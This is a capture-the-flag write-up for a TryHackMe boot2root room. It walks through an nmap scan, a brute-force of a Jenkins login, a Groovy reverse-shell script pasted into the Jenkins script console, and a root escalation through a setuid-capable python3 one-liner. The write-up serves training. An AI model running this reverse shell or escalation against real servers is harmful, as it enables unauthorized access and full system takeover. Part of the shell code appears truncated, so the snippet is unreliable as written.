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Cyber Grabs CTF 0x03 – boot2root

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    Security, Programming and Mathematics


by MrGrep

Let's Start!!! Alison is a SOC analyst of TheCyberGrabs Pvt Ltd. He got some alerts that someone is trying to access the server but he is not quite sure how that attack is getting executed so he wants to hire some pentesters to check the security can you help alison?

Visit here to play:- TryHackMe Room

Flag Format: cybergrabs{boot2root}

This challenge was hosted on TryHackMe. We launch an instance and start by running an nmap quick scan on the machine’s IP address to check for open ports:

nmap -T4 -A -F
Host is up (0.16s latency).
Not shown: 65532 filtered tcp ports (no-response)
21/tcp   closed ftp
80/tcp   open   http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: CyberGrabs Jr CTF
| http-methods:
|_  Supported Methods: OPTIONS HEAD GET POST
8080/tcp open   http    Jetty 9.4.43.v20210629
|_http-favicon: Unknown favicon MD5: 23E8C7BD78E8CD826C5A6073B15068B1
|_http-server-header: Jetty(9.4.43.v20210629)
| http-robots.txt: 1 disallowed entry
|_http-title: Site doesn't have a title (text/html;charset=utf-8).

We start by browsing port 80 checking common files like robots.txt and we can find 2 interesting files:


As shown below s3cret is a wordlist and confidential is actually just random data encoded with Base32 with nothing useful for the challenge:

confidential decoded
Base32 decoded data

We try running several wordlists using dirbuster but we don’t find any other directories on port 80.

We proceed by going to port 8080 which had a Jenkins login page.


First idea we had was using the wordlist provided in s3cret to bruteforce the login page. Jenkins default username is admin so we start by bruteforcing that user. Unfortunetaly that idea didn’t work.

After a lot of trial and error we go back to the challenge description and notice that the name Alison is mentioned so we decided to try it as a username and bruteforce it again with the s3cret wordlist:

Bruteforce Burp

We finally found the password elizabeth1.

We proceed by logging in to Jenkins:

Logged in

We proceed by going to the script console in order to have a reverse shell on the server as shown below:

String host="";;
int port=4444;
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(;while(pe.available()>0)so.write(;while(si.available()>0)po.write(;so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close()
Script Console

And now we have a shell:

First shell

We continue by stabilising the shell using stty as shown below:


And we manage to find the first flag in /home/mrgrep/user.txt. A Base32 encoded flag:

Decoded user.txt

For the second part of the challenge, we need to get root access in order to read the root.txt file.

We notice that python has setuid capabilities by running getcap:


This means that we can use python in order to perform a privilege escalation and get full root access by running ./python3 -c 'import os; os.setuid(0); os.system("/bin/bash")':

Priv Escalation

Finally, we have root access and we can read the root.txt and get the final flag: